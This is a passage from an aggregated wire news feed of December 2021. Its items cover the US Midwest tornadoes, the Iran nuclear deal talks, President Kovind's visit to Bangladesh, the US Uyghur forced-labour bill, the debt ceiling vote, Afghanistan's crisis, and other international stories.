that state are still unaccounted for. US President Joe Biden on Monday declared emergencies in Illinois and Tennessee, which meant the two states will get federal help, and the President will visit Kentucky on Wednesday to survey the damage -- he approved its request for an expedited major disaster declaration on Sunday, Xinhua news agency reported. Rescue efforts resumed on Tuesday to identify the people killed in several states, and "family members have been phoning loved ones and gathering in living rooms across the American heartland, mourning those who had not survived the storms' swift, furious rampage," reported The New York Times. While rescue teams and volunteers combed through debris, "the unprecedented scale of devastation left behind by the storm began to come into focus," reported The Washington Post (WP). The National Weather Service said wind speeds reached an estimated 158 to 206 miles an hour at the peak of the storms. "For decades to come, meteorologists will focus on a particularly large supercell, or rotating thunderstorm, which spurred the tornado or series of twisters that caused the majority of the destruction, leading researchers to investigate if such events will happen more often in a warming world," said the report. During the disaster, homes and businesses had been torn from their foundations; two warehouses had collapsed, trapping and killing employees; hundreds of thousands of Americans were left without power in mid-December, forcing Kentucky and Tennessee to open shelters where people could warm themselves, according to WP. In hardest-hit Kentucky, the tornadoes derailed a train and scattered railcars in Earlington City in Hopkins County, and sent debris as high as 30,000 feet, the cruising altitude of many passenger jets. Governor Andy Beshear told reporters that the victims' "age range is 5 months to 86 years ... Six are under 18." In Illinois, six people were confirmed dead at an Amazon.com Inc. warehouse in Edwardsville, in the southwestern part of the state. The Governors of Arkansas and Missouri said two people died in each of their states, while Tennessee officials confirmed four deaths, according to The Wall Street Journal (WSJ). "The tornadoes caused catastrophic damage across a broad section of the country, in a swath that at times was as wide as three-quarters of a mile," said the report. "With this amount of damage and rubble, it may be a week or even more before we have a final count on the number of lost lives," Beshear was quoted as saying. Following a briefing from Federal Emergency Management Agency and Homeland Security officials, President Biden said on Monday that his administration was focused on helping restore power, water and communications systems and on providing temporary housing and shelter to displaced people. "We're going to have to go beyond what is available through the federal government ... There's a lot to be done and we're just getting under way," said the US President, adding that he was most concerned about the peace of mind and mental health of those who had lost their loved ones and their homes. "That's what worries me most -- the uncertainty ... The devastation is just stunning. And there's nothing left standing, basically, along the path that goes all the way through," said Biden, telling the media that he was working with the Kentucky Governor on the details of his forthcoming visit to the impacted areas there. Destinations of the presidential trip to Kentucky will include Ft. Campbell, where the US President will receive a storm briefing, and Mayfield and Dawson Springs, where he will survey storm damage, according to an announcement the White House issued on Monday morning. Mayfield was the focus of the tornadoes late Friday. "President Biden is navigating a politically fraught path on climate change after last weekend's deadly tornadoes, stopping short on Monday of directly blaming global warming for the disaster but emphasising the storms' extreme nature and ordering officials to get more definitive answers," reported WP late Monday. The US President, facing an unusual series of violent weather events during his first year in office, "has been forced to change the way Presidents have long dealt with natural disasters." A task that once involved calling local leaders, offering aid and consoling victims has expanded to far more politically sensitive terrain, said the report. Meanwhile, scientists are drawing clearer lines between global warming and destructive weather -- often prompting Biden to warn of the urgent need to address rising temperatures. And some climate activists say the tornadoes underline the urgency of swift action, according to the report. But Republicans are eager to pounce on any exaggeration of climate change's impact, putting pressure on Biden not to get ahead of what is verifiable. "We have to be very careful -- we can't say with absolute certainty that it was because of climate change," Biden said on Monday after officials briefed him on the tornadoes. --IANS int/khz/ ( 855 Words) 2021-12-15-00:03:15 (IANS) New York [US], December 15 (ANI/Sputnik): Iran does not impose any preconditions or new conditions in the negotiations to revive the Joint Comprehensive Plan of Action (JCPOA) and only wishes to see the restoration of the initial terms of the nuclear accord, Iran's Permanent Representative to the United Nations Majid Takht Ravanchi told a UN Security Council meeting. "This [restoration of the JCPOA], however, can be realized only if all necessary conditions are met in real terms. Make no mistake; we are not imposing any preconditions or new conditions. We are talking about the same conditions that are embedded in the JCPOA and resolution 2231, the same conditions that form the very foundations of the JCPOA, and the same conditions that resulted in reciprocal commitments of the parties in the JCPOA," Ravanchi said on Tuesday. Ravanchi emphasized that the nuclear agreement is "useless" for Iran without full satisfaction of the initial conditions. "We, therefore, call for the full, timely, unconditional and verifiable implementation of the JCPOA. No more, no less," he said. Ravanchi also said any attempts to link the accord's implementation to irrelevant issues or exploring JCPOA's expansion or extension of its proposals are absolutely unacceptable and doomed to fail. The seventh round of the talks on Iran's nuclear program started in Vienna on November 29 and the main focus was the lifting US sanctions against Iran. In May 2018, the United States withdrew from the JCPOA - signed also by China, France, Russia, the United Kingdom, Germany and the European Union - and reintroduced comprehensive sanctions against Iran. As a result, Iran largely abandoned fulfilling its own obligations under the accord. In October, Tehran and Washington affirmed their readiness to restore the talks on the JCPOA resumption as soon as possible. (ANI/Sputnik) Police on Monday baton-charged protesting doctors and nurses in Karachi who were protesting for regularisation of their jobs and detained 23 of them. The police detained them, including females to prevent them from marching on the Chief Minister House. They were appointed by the provincial government to deal with the COVID-19 pandemic and resolution of issues being faced by Karachi Metropolitan Corporation-run hospitals, reported Dawn. The doctors and paramedics began their march from the Karachi Press Club and when they reached near Arts Council traffic intersection, a heavy contingent of police stopped them from moving further by placing barricades on the main roads. The protesters staged a sit-in there for a considerable time due to which Din Mohammed Wafai Road and Sarwar Shaeed Road were closed for vehicular traffic, reported Dawn. A traffic mess was witnessed on I. I. Chundrigar Road, Abullah Haroon Road, Dr Ziauddin Road, etc because of the protest as traffic was diverted to alternative routes. Saddar SP Zahida Parveen and other officials held talks with the protesters near YMCA Ground in a bid to convince the doctors to end their protest. However, the talks did not yield any positive results and several doctors and paramedics resumed their protest and started marching on the CM House upon which the police used force to stop them. "The police resorted to baton-charge and manhandled the protesting doctors and nurses," said Dr Umer of the Young Doctors Association-Sindh. He said 23 doctors and healthcare workers, including YDA office-bearers Dr Faisal, Dr Roshan, Dr Husain and Dr Shahzad, were taken into custody, reported Dawn. The doctors and paramedics staged a sit-in near the YMCA ground on Deen Muhammad Wafai Road and it was ended late in the night after the police released the held doctors and nurses. Dr Faizan Memon of the YDA-Sindh said that the general council of YDA-Sindh decided to observe a 'black day' on Tuesday (today) across the province against the arrests and police action. He said a two-hour token boycott of all out-patient departments would be carried out and all COVID vaccination centres would remain closed. He said if their demands were not fulfilled within the next week, they would resume their march on the CM House, reported Dawn. (ANI) The talk came on Tuesday, five days after Scholz was sworn in as Germany's new Chancellor, while Israel is persuading world powers to stop the nuclear talk with Iran, Xinhua news agency reported. "Bennett thanked Scholz for his commitment to Israel and its security," the statement read, adding that they also discussed the importance of preventing Iran from attaining nuclear weapons. The two leaders praised "the deep ties between Israel and Germany" and agreed "to continue the fruitful cooperation between the countries in a long series of economic, diplomatic and security fields." --IANS int/khz/ ( 134 Words) 2021-12-15-00:52:22 (IANS) The head of the Atomic Energy Organisation of Iran (AEOI) has slammed some anti-Iran accusations by the US and Israel as "psywar," the official news agency IRNA reported. Mohammad Eslami on Tuesday made the remarks on the sidelines of a ceremony in Tehran, saying "we are facing a campaign that is, in no way, willing to see Iran's scientific and technological progress." He stressed that all parties to the nuclear deal, officially known as the Joint Comprehensive Plan of Action (JCPOA), are required to fulfill their commitments, adding the nuclear deal is a treaty, under which the signatories have made pledges and Iran has also accepted its commitments. In a meeting with Israeli Foreign Minister Benny Gantz on Thursday, US Defence Secretary Lloyd Austin said Iran had failed to offer constructive diplomatic engagement in the talks that US President Joe Biden had hoped would revive, Xinhua news agency reported. Austin said Biden was "prepared to turn to other options" if the current American policy on Iran fails. For his part, Gantz described Iran as "the biggest threat to the global and regional peace and stability." The JCPOA was signed between Iran and the P5+1 in July 2015, based on which the former accepted to make some adjustments to its peaceful nuclear program while the latter promised to lift international sanctions on Tehran in return. In May 2018, however, former US President Donald Trump, expressing dissatisfaction with the JCPOA, pulled the country out of the deal and reimposed Washington's unilateral sanctions on Tehran. Since April, a diplomatic process has started in the Austrian capital Vienna to revive the JCPOA, as part of which several rounds of talks have been held between Iran and the remaining parties to the deal, namely China, Russia, Britain, France and Germany. --IANS int/khz/ ( 311 Words) 2021-12-15-00:57:03 (IANS) The blast occurred in Haiti's northern port city of Cap-Haitien, Prime Minister Ariel Henry on Tuesday tweeted, extending his condolences on behalf of the government and the Haitian people, Xinhua news agency reported. He said field hospitals will be deployed to the area to help those affected, while announcing a three-day national mourning to commemorate the victims. The fuel truck overturned after trying to avoid a motorcycle, and local residents rushed to collect the tanker's gas, Patrick Almonor, Deputy Mayor of Cap-Haitien, was quoted by reports as saying. The explosion also burned nearly 20 homes nearby, said the Deputy Mayor, adding that he expects the death toll to keep rising because people who died in their homes have not yet been counted. Haiti's former Prime Minister Claude Joseph tweeted on Tuesday that he was "shattered" by the news, saying that he shares the "pain and sorrow of all the people." The explosion occurred as the Caribbean nation faces fuel shortages. Early this year, hospitals in Port-au-Prince and other cities reported extremely low fuel reserves needed to power generators that keep services going. --IANS int/khz/ ( 223 Words) 2021-12-15-01:02:33 (IANS) According to the SPAK, the former Minister is accused of the criminal offences of office abuse, corruption, money laundering and accepting a bribe of 3.7 million euros ($4.17 million). Koka was arrested on Tuesday. The SPAK's investigations are related to the concession procedures conducted by the Ministry of Environment and to a contract signed with the companies Albtek Energy and Integrated Technology Services for the construction and administration of an urban waste treatment plant in Elbasan in central Albania. Koka, 57, was the country's Environment Minister between 2013 and 2017 representing at the time the Socialist Movement for Integration (SMI) party, Xinhua news agency reported. Between 2003 and 2007, he served as Mayor of the port city of Durres in western Albania, and in 2009 he was elected member of Parliament (MP). On September 1, 2021, Koka resigned as an MP. On Tuesday, the SPAK also ordered the arrest of two Albanian businessmen, whose companies have been sequestered. --IANS int/khz/ ( 208 Words) 2021-12-15-02:28:13 (IANS) Iran's top nuclear negotiator has said that some parties to the nuclear deal agreement insist on "their blame game habit" instead of pursuing real diplomacy. Ali Bagheri Kani, who is in Vienna for the continuation of talks on the restoration of the nuclear agreement, officially known as the Joint Comprehensive Plan of Action (JCPOA), wrote in a tweet that if there is a will to "remedy the culprit's wrongdoing," the path will be quickly smoothed for reaching a good deal, Xinhua news agency reported. Bagheri Kani added that Iran swiftly presented its proposals and made efforts constructively and flexibly to reduce the differences, stressing that diplomacy is a "two-way street." His tweet read, "Some actors persist in their blame game habit, instead of real diplomacy." The JCPOA was signed between Iran and the P5+1 in July 2015, based on which the former accepted to make some adjustments to its peaceful nuclear program and the latter promised to lift international sanctions on Tehran in return. In May 2018, however, former US President Donald Trump, expressing dissatisfaction with the JCPOA, pulled the country out of the deal and reimposed Washington's unilateral sanctions on Tehran in a failed attempt to pressure Iran into coming to the negotiating table and hammering out a new deal. Since April, a diplomatic process has started in the Austrian capital, Vienna, to revive the JCPOA, as part of which several rounds of talks have been held between Iran and the remaining parties to the deal, namely China, Russia, Britain, France and Germany. --IANS int/khz/ ( 273 Words) 2021-12-15-02:36:13 (IANS) President Ram Nath Kovind on Wednesday embarked on a three-day State visit to Bangladesh to participate in the 50th Victory Day celebrations in Dhaka. "Beginning Wednesday, President Kovind will be on a State visit to Bangladesh. The visit will be from December 15-17. This visit is in context of 50th Victory Day celebrations in Dhaka at which Bangladesh President Abdul Hamid has invited President Kovind to represent India as a guest of honour," Foreign Secretary Harsh Vardhan Shringla said on Tuesday during a press briefing. This is the first visit of President Kovind to Bangladesh since the COVID-19 outbreak. "Bangladesh inviting our President to be the guest of honour on this occasion to join to commemorate this event at which he is the only foreign dignitary who will be represented. At the same time, our president going out for the first time since the COVID pandemic is also very significant," Shringla said. Emphasising that the visit of the President provides an opportunity to renew India's bonds with Dhaka, Shringla said that the relations are based on a shared geographical space, heritage, history and shared experience of New Delhi's support to Bangladesh during its war of liberation. "It is also an occasion to take note of the width, depth, vitality and dynamism of the contemporary ties," Shringla added. During the visit, the President will hold a delegation-level meeting with Hamid. Meanwhile, Bangladesh Prime Minister Sheikh Hasina and Foreign Minister Dr A K Abdul Momen are scheduled to call upon the President, the Ministry of External Affairs had earlier said in a press release. (ANI) The legislation was by the House on Tuesday night through a voice vote and sent it to the Senate for consideration. The legislation focuses on targetting "goods, wares, articles, and merchandise imported directly from the Xinjiang Uyghur Autonomous Region or made by Uyghurs, Kazakhs, Kyrgyz, Tibetans, or members of other persecuted groups in China", said Sputnik. It also requires the US President to impose sanctions on officials responsible for persecuting Muslim minorities and facilitating the use of involuntary labour. According to the legislation, businesses will be required to prove their operations do not involve the use of forced labour from alleged work camps in Xinjiang. The US bill accuses Beijing of arbitrarily imprisoning as many as 1.8 million Uyghurs, Kazakhs, Kyrgyz and members of other Muslim minority groups in a system of extrajudicial mass internment camps. Last week, the House had passed its version of the bill with a 428-1 vote and the Senate passed its version of the measure by voice vote in July. Both chambers agreed to a final version of the bill this week, according to Sputnik. (ANI) The Biden administration's presumptive Tibet coordinator should push for a meeting between US President Joe Biden and the Dalai Lama, fully implement US laws on Tibet, end the practice of calling Tibet part of China and more, over 60 members of the US Congress said in new Senate and House bipartisan letters on Tuesday. The letters to Under Secretary of State Uzra Zeya are the latest sign of Congress' intensifying interest in Tibet, a historically independent country that the Chinese government has brutally occupied for over 60 years. Zeya's appointment as special coordinator for Tibetan issues in the State Department is expected soon. "These letters provide a vital framework for the next special coordinator to address China's oppression in Tibet while making it clear that Congress expects the Biden administration to act quickly and meaningfully to support the Tibetan people," said Franz Matzner, government relations director of the International Campaign for Tibet, an advocacy group with offices in Washington, DC and Europe. "At a time when Freedom House has declared Tibet the least-free country on Earth alongside Syria, ICT thanks the 38 senators and 27 representatives who signed onto these letters and showed crucial leadership on the Tibetan issue. We look forward to working with the next special coordinator and encourage her to use these letters to advance US policy on Tibet," Matzner added. Marco Rubio, R-Fla., and Patrick Leahy, D-Vt., in the Senate and Jim McGovern, D-Mass., and Chris Smith, R-NJ, in the House led the letters. The broad, diverse and bipartisan swath of signers demonstrated once again Congress' steadfast support for His Holiness the Dalai Lama, religious freedom and basic human rights. Zeya currently serves as undersecretary of state for civilian security, democracy and human rights--a position that has traditionally doubled as the special coordinator. The Tibetan Policy Act of 2002 mandates the appointment of the special coordinator. The letters to Zeya list 10 areas where Congress and the Biden administration can work together on Tibet, including: The letter urges the administration to engage with the Dalai Lama and the Central Tibetan Administration, which provides democratic governance for Tibetans in exile. The letters suggest that President Biden invite the Dalai Lama to the Oval Office--as several of his predecessors have done--or meet with him in his exile home of India, among other options. It also suggests resisting China's attempts to interfere in the Dalai Lama's succession. The Chinese government plans to appoint its own successor to the 86-year-old Tibetan spiritual leader, but the Tibetan Policy and Support Act of 2020 states that only the Dalai Lama and the Tibetan Buddhist community can decide on his succession. The letters urge the administration to "work with like-minded governments" to "affirm this principle as the international norm," as the TPSA requires. (ANI) The upper chamber on Tuesday voted 50-49 along party lines to raise the debt limit to roughly $31 trillion, after Minority Leader Mitch McConnell and Majority Leader Chuck Schumer struck a deal to allow Democrats to approve the measure through simple-majority votes in the evenly-split Senate The Democrats-held House of Representative is expected to quickly clear the legislation, which will then be sent to President Joe Biden for his signature, Xinhua news agency reported. The measure would increase the debt limit by $2.5 trillion, which is expected to last until 2023 without the need for another vote to raise the borrowing cap, avoiding another partisan fight over the debt ceiling issue before the mid-term elections in 2022. In mid-November, US Treasury Secretary, Janet Yellen already urged Congress to raise the federal government's debt limit by December 15 to avoid a potential default. --IANS int/khz/ ( 195 Words) 2021-12-15-06:10:11 (IANS) "President Kovind @rashtrapatibhvn pays tributes at the National Martyrs' Memorial to the brave hearts of the Liberation War of Bangladesh," Ministry of External Affairs spokesperson Arindam Bagchi said in a tweet. "May the spirit of those who sacrificed their lives to realize the ideals of the Liberation War continue to guide our thoughts and actions," he added. Earlier, President Kovind arrived in Dhaka on Wednesday and was received by Bangladesh President Abdul Hamid and First Lady Rashida Hamid upon his arrival. President is on a three-day visit to Bangladesh from December 15-17 to attend the country's 50th Victory Day celebrations as a guest of honour. "This visit is in context of 50th Victory Day celebrations in Dhaka at which Bangladesh President Abdul Hamid has invited President Kovind to represent India as a guest of honour," Foreign Secretary Harsh Vardhan Shringla said on Tuesday during a press briefing in New Delhi. This is the maiden visit of President Kovind to Bangladesh since the COVID-19 outbreak. The President's visit provides an opportunity to renew India's bonds with Dhaka, Shringla said, adding that the relations are based on a shared geographical space, heritage, history, and shared experience of New Delhi's support to Bangladesh during its war of liberation. (ANI) A senior UN rights official has emphasised that respect for fundamental rights and freedoms by authorities in Afghanistan is critical to ensuring stability in the country. "How the de facto authorities - indeed, and the international community - address the drastic economic and humanitarian crises in the country will determine Afghans' enjoyment of human rights, now and into the future," said Nada Al-Nashif, United Nations Deputy High Commissioner for Human Rights, during a press briefing. "They will mark the difference between potential lives of dignity and well-being - or accelerating deprivation, injustice and tragic loss of life." This comes amid an ongoing humanitarian crisis in Afghanistan that is threatening basic rights, with women, girls, and civil society among those most affected. Al-Nashif said that as Afghans struggle to meet basic needs, they are being pushed to take desperate measures, including child labour and child marriage. "The difficult policy choices that Member States make at this critical juncture, to avert economic collapse, are literally life and death. They will define Afghanistan's pathway into the future," she said. Despite a general amnesty by the Taliban, announced in August, mutiple reports say that more than 100 killings of former Afghan national security forces and others associated with the former Government have taken place. At least 72 killings were attributed to the Taliban, and in several cases, the bodies were publicly displayed, UN News reported. According to the UN, women and girls face great uncertainty when it comes to respecting their rights to education, livelihoods and participation. Some 4.2 million young Afghans are already out of school, the majority of them are girls. (ANI) Taking to Twitter, Tolo News said that humanitarian aid includes fuel, food and clothes. "Over USD 1M worth of humanitarian aid from Turkmenistan has arrived in Herat province, said the deputy spokesman of the Islamic Emirate, Ahmaddullah Wasiq. The aid includes fuel, food and clothes, he said," Tolo News tweeted. The humanitarian crisis in Afghanistan has deteriorated ever since the Taliban took control of Kabul in August. The Taliban entered Kabul on August 15, causing the US-backed government to step down. Later in September, the outfit announced the composition of the new interim government of Afghanistan. The country is currently battered by the deepening economic, humanitarian, and security crisis following the Taliban takeover. The international community, from governments to non-governmental organizations, has been providing various assistance to the Afghan people. (ANI) Teachers in Chinese schools are unsure whether they should focus on implementing Covid-19 protocols or teach the new subject introduced this year on their President titled 'Grandpa Xi Jinping.' Earlier, the primary, secondary and high school curriculum was expanded this year to include the new subject: Jinping Thought on Socialism with Chinese Characteristics for a New Era Xi. The students are expected to know, understand and practice the Xi philosophy of life by the time they are ready to exit school, according to Hong Kong Post. Meanwhile, new textbooks were introduced in the Chinese school system that essentially teach the same thing, that President is, as western media reports explained, "to be seen as the undisputed authority on everything". However, China's national textbook committee has tailored the school-to-university curriculum to "comprehensively introduce Xi's views on economics, politics, the rule of law, science and technology, culture, education, ethnic policies, religion, national defence, ecological civilisation, party-building and diplomacy". Also, the first day of the new academic year was a deja vu for the grandparents and parents of the students who were forced to learn everything about Mao Zedong. Earlier, the personality cult carried to the next generation with the textbooks glorifying the era of Grandpa Deng (Xiaoping) and Grandpa Wen (Jiabao), according to Hongkong Post. Also, the current generation of students have given Grandpa Xi textbooks. They are specially tailored for each age group, down to children as young as six. Further, China watchers see the pattern of a growing personality cult in the country. Earlier, the textbooks focused only on the Communist Party and its ideals but now it focuses on the President as a part of the Personality Cult. (ANI) The Ministry of Foreign Affairs, Bangladesh said that the two dignitaries reiterated their wish to further consolidate the existing friendly ties between the countries. "FM Dr. Momen called on the President of India @rashtrapatibhvn and discussed bilateral issues. The dignitaries reiterated their wish to further consolidate the existing friendly ties between the two countries. Among others, SM @MdShahriarAlam and FS MB Momen were present," Bangladesh's Ministry of Foreign Affairs said in a tweet. Earlier today, President Kovind was received by Bangladesh President Abdul Hamid and First Lady Rashida Hamid upon his arrival in Dhaka. President Kovind who is will be in Bangladesh till December 17 is scheduled to attend the country's 50th Victory Day celebrations as a guest of honour. This is the first foreign visit of President Kovind since the COVID-19 outbreak. (ANI) Foreign Minister Yoshimasa Hayashi and Defense Minister Nobuo Kishi are likely to confirm with their US counterparts Antony Blinken and Lloyd Austin that the two countries' security alliance should be bolstered in new areas such as space and cybersecurity in the face of China's military modernization and expansion, Kyodo News reported. According to the Japanese news agency, it will be the two nation's first "two-plus-two" talks since Japanese Prime Minister Fumio Kishida took office in early October. Ahead of the ministerial meeting, Hayashi is expected to attend a UN review conference on the Nuclear Non-Proliferation Treaty, to be held in New York from January 4 to 28, the officials said. The move came as concerns have been growing over an escalation of China's maritime assertiveness in the East and South China seas and stepped up military pressure on Taiwan, as well as North Korea's missile and nuclear threats, Kyodo News reported. China claims sovereignty over almost the entire South China Sea and has overlapping territorial claims with Brunei, Malaysia, the Philippines, Vietnam and Taiwan. (ANI) "PM Sheikh Hasina called on President Ram Nath Kovind. Both sides reviewed progress in the multifaceted and comprehensive bilateral ties. The two leaders also recalled the spirit of the 1971 Liberation War and expressed satisfaction at the joint celebration of Maitri Diwas," said Arindam Bagchi, External Affairs Ministry spokesperson. Earlier today Bangladesh Foreign Minister AK Abdul Momen called on President Kovind. The Bangladesh Foreign Ministry said that the two dignitaries reiterated their wish to further consolidate the existing friendly ties between the countries. "FM Dr. Momen called on the President of India @rashtrapatibhvn and discussed bilateral issues. The dignitaries reiterated their wish to further consolidate the existing friendly ties between the two countries," Bangladesh's Ministry of Foreign Affairs said in a tweet. President Kovind today was received by Bangladesh President Abdul Hamid and First Lady Rashida Hamid upon his arrival in Dhaka. President Kovind will be in Bangladesh till December 17. He is scheduled to attend the country's 50th Victory Day celebrations as a guest of honour. This is the first foreign visit of President Kovind since the COVID-19 outbreak. (ANI) Pakistan's Opposition Leader in National Assembly Shehbaz Sharif on Wednesday said the ongoing protests in the port city of Gwadar in Balochistan province are a "watershed event" in the struggle for basic rights in the country. Taking to Twitter, Pakistan Muslim League (N) president, said the protests represented a "watershed event" in the struggle for the basic rights guaranteed by the Constitution of Pakistan. "An ongoing protest at Gwadar represents a new chapter in our country. Owned and led by people, it is a watershed event in the struggle for the basic rights guaranteed by the Constitution of Pakistan. I ask the Govt to listen to people's voices and address their problems immediately," Shehbaz Sharif said in a tweet. After nearly a month-long protests in Gwadar, Pakistan Prime Minister Imran Khan on Sunday had said promised to take action against illegal fishing in the southwestern province. "I have taken notice of the very legitimate demands of the hardworking fishermen of Gwadar. Will be taking strong action against illegal fishing by trawlers and will also speak to CM Balochistan," Imran Khan tweeted on Sunday. This follows the large-scale protests by the residents of Gwadar which has forced Pakistani authorities to send thousands of police officers from various other districts for maintenance of law and order and on anti-riot duties. Since the past few weeks, thousands of people have been protesting in the main streets of the port city in support of the "Gwadar ko haq do" movement. Last Friday, a massive protest rally was held in the port city which included women and children. The participants took out a procession carrying placards and banners inscribed with slogans in support of their demands, Dawn newspaper reported. The protestors also chanted slogans against the government. Among other things, thousands of residents continue to demand access to clean drinking water and an end to the "trawler mafia". The demands also include the removal of additional check-posts at Pushkan, Sarbandan and Gwadar City, and the opening of the Pak-Iran border. Maulana Hidayat-ur-Rehman, Balochistan general secretary of Jamaat-i-Islami (JI), earlier this week had said the protest was actually a referendum against the provincial and federal governments and the people would continue their struggle till the achievement of their rights. "It is the movement of the deprived and oppressed people of Balochistan comprising fishermen, poor labourers and students, which will continue till all their demands are accepted and implemented," the JI leader had declared.(ANI) Nairobi [Kenya] December 15 (ANI/Xinhua): Kenya's Ministry of Health said on Wednesday it has detected three cases of the Omicron COVID-19 variant in the country. The cases were detected among travellers at the country's airports, said Mutahi Kagwe, cabinet secretary of the Ministry of Health. "We have detected Omicron among travellers and it's just a matter of time before it becomes the dominant variant across the globe," he told a consultative meeting in the coastal city of Mombasa. "I have no doubt about it." "Variants will come and go, but this is not the time for knee jerk reactions. The decision of the ministry of health must be on the basis of science and evidence and not emotions. We are still observing the situation," Kagwe said. Africa is being hit by the fourth wave of the COVID-19 pandemic driven by the Omicron variant, after recording the fastest weekly surge in new cases since May 2020, said an official of the World Health Organization (WHO) Tuesday. "Africa is now officially in the fourth wave of the COVID-19 pandemic, which is partly due to the Omicron variant," WHO Regional Director for Africa Matshidiso Moeti told an end-of-year press conference in Brazzaville, the capital of the Republic of the Congo, where the WHO Regional Office for Africa is based. Africa has seen a rise of 83 per cent in new COVID-19 cases for the week ending Dec. 12, driven by the Delta and the Omicron variants, which is the fastest surge recorded since May 2020, she said. (ANI/Xinhua) The Summit for Democracy was held last week. Both Russia and China were not invited to the summit which saw the participation dozens of countries. At the virtual summit, both Putin and Xi said that the summit was "counterproductive" and imposes new dividing lines in the international community. "[The leaders] were unanimous in their assessments that the event was thought of as a confrontational one from the very beginning, and that is what it actually became," said Russian presidential aide Yuri Ushakov, as quoted by Russian news agency Sputnik. Xi said that he expects to meet his Russian counterpart in Beijing in February, according to Xinhua news agency. Putin said he looks forward to his upcoming visit to China and attending the opening ceremony of the Beijing Winter Olympics next year. During the meeting, Putin expressed hopes Beijing Winter Olympics will be held at a high level. (ANI) Yusuf Ibrahim Zailani, speaker of the Kaduna State House Assembly, told Xinhua on the phone the lawmaker died on Monday night during a gunmen attack along the highway connecting the city of Kaduna, the state capital, and Zaria, another city in the state, together with several other victims. "This is tragic and painful. We are in deep grief over this sad incident," Zailani said. Armed attacks have been a primary security threat in Nigeria's northern and central regions, leading to deaths and kidnappings in recent months. (ANI/Xinhua) Cambodia will be the chair of the Association of Southeast Asian Nations (ASEAN) for 2022, Xinhua news agency reported. Sokhonn will succeed the bloc's current ASEAN special envoy, Brunei's Second Foreign Minister Erywan bin Pehin Yusof. "I'd like to confirm that I will appoint Deputy Prime Minister and Foreign Minister Prak Sokhonn as the ASEAN chair's special envoy," Hun Sen said in a speech during the inauguration ceremony of a luxury hotel in Phnom Penh. The special envoy has been assigned to enforce the implementation of the five-point Myanmar consensus which was decided in April by ASEAN leaders, to facilitate mediation of the dialogue process, and to provide humanitarian aid to Myanmar. Meanwhile, Hun Sen said he will visit Myanmar on January 7 and 8. He said as the ASEAN chair in 2022, Cambodia will do its best to promote ASEAN as a united family. ASEAN groups Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, Philippines, Singapore, Thailand and Vietnam. --IANS int/sks/bg ( 205 Words) 2021-12-15-14:19:55 (IANS) Tokyo [Japan], December 15 (ANI/Sputnik): A panel of the Japanese Health Ministry on Wednesday approved the use of the Moderna COVID-19 vaccine as a booster on Wednesday, the media reported. Last month, Takeda Pharmaceutical Company managing the sales and distribution of the vaccine in Japan, applied for the approval to use the vaccine as a third shot six months after the previous vaccination, according to the Kyodo news agency. Japan began its vaccination campaign later than some other countries, on February 17, but quickly sped up the pace. In the summer, up to a million people were vaccinated daily. Almost 98 million Japanese, or 77 per cent of the population, have taken two shots of a COVID-19 vaccine now. The number of daily new infections has lately been mostly below 200. On October 1, Japan lifted the state of emergency across the country. (ANI/Sputnik) Pakistan's attempts to negotiate with extremist groups will have serious security repercussions as such actions tend to be viewed as a sign of weakness, according to a think tank. This comes as Imran Khan government has recently removed Tehreek-i-Labbaik Pakistan (TLP) from the list of organizations linked to terrorism after sgining a deal with the outfit that resulted in ourtage from the opooition parties. The government also declared a complete ceasefire with another banned group, Tehreek-i-Taliban Pakistan (TTP). However, last week the TTP announced it would not extend the month-long ceasefire. It also accused Islamabad of failing to fulfill its obligations under the agreement. "Firstly, the removal of the name of the TLP... as a proscribed organisation has set a dangerous precedent in the country, as it came days after its violent protest march to Islamabad. This bizarre move will only strengthen extremists and anti-state elements in the country," Sehar Kamran, head of the Center for Pakistan and Gulf Studies think tank, told Russian news agency Sputnik. Kamran argues that decision has far-reaching repercussions, as thousands of TLP members have been subsequently removed from the terrorist list. Another 2,100 have been released from police custody. The Imran Khan government's move showed that any group can achieve its political gains under the guise of religion by holding the state hostage and forcing it to surrender to demands by launching violent protests and choking major highways, the expert noted. In the light of recent developments in Pakistan, Kamran added that other banned groups have already followed suit by demanding the government remove them from the list and stop discriminating against them, threatening to launch mass protests. According to the expert, it is highly unlikely that the decriminalisation of such extremist groups will facilitate their integration into the political life of the country and their consequent de-radicalization. "It is a fact that ideologically motivated proscribed organisations are unlikely to abandon their principal philosophies, and subsequently the reintegration of banned outfits by allowing them political space without submission to the Constitution is simply not possible," Kamran warned. (ANI) Sudan's Supreme Court has issued a warrant against a joint venture company (PDOC) that is owned by two companies including China-based CNPC due to their failure to settle the labour issues of PetroDar Operating Company, said a report. PDOC is a joint venture company in Sudan in which Petronas, a Malaysian oil and gas company and CNPC, a major national oil and gas corporation of China have ownership, reported Financial Post. The arrest warrant was issued on October 11 2021, against the country managers of Petronas, and CNPC. According to Financial Post, the Sudanese government is also planning to confiscate assets acquired by these companies through illegal means during the previous regimes. A PDOC unit with around 600 workers was closed in the year 2018 without settling the workers' dues who subsequently approached the court. The company was accused of violating the country's Labor Act regulation while denying its employees' overtime compensation, amounting to approximately 5.5 million dollars during the previous administration. Following the warrant issued, the country managers of CNPC and Petronas left the country hurriedly. A statement cited by Financial Post said: "PetroDar Operating Company (PDOC), a joint venture company in Sudan in which Petronas has an interest, is pursuing legal recourse to cancel a wrongful warrant of arrest issued against its former officers relating to trade union claims made against PDOC. PDOC's external counsel is in the process of cancelling the warrant of arrest." In another case, Sudan transitional government is seeking to confiscate assets belonging to Petronas, stating that they were acquired through illegal means during the rule of ousted leader Omar al-Bashir. The government even passed an act and formed the Empowerment Removal, Anti-corruption and Money Retrieving Committee to do the same. Financial Post reported that the two cases at hand, show that many foreign countries and investors are interested only in the exploration of oil while ignoring the needs of the Sudanese people and compliance with the laws of the land. They try to defend themselves and try to globalize the issue as well but remain complacent to the desires of the locals and even go to the extent of Human Rights Violations. The major stakeholder in PDOC is the CNPC with 41 per cent shareholding and the close second is Petronas with 40 per cent shareholding. Other shareholders include Sudapet (Sudan), SINOPEC (China), and Tri-Ocean Energy (Kuwait). (ANI) The United States is looking at more action against Myanmar's junta to press its generals to return the country to a democratic path, said Secretary of State Antony Blinken on Wednesday. "The situation has not improved," Kyodo News quoted Blinken as saying at a joint press conference with his Malaysian counterpart Saifuddin Abdullah in Malaysia. "I think it's going to be very important in the weeks and months ahead to look at what additional steps and measures we can take individually, collectively to pressure the regime to put the country back on a democratic trajectory," he said. Last week, the United States imposed sanctions on dozens of people and entities in Myanmar. Following a February military coup that ousted a democratically elected government led by Aung San Suu Kyi, Washington has so far focused on imposing sanctions on Myanmar military officials and their family members as well as military-related entities, Kyodo News reported. According to the Japanese news 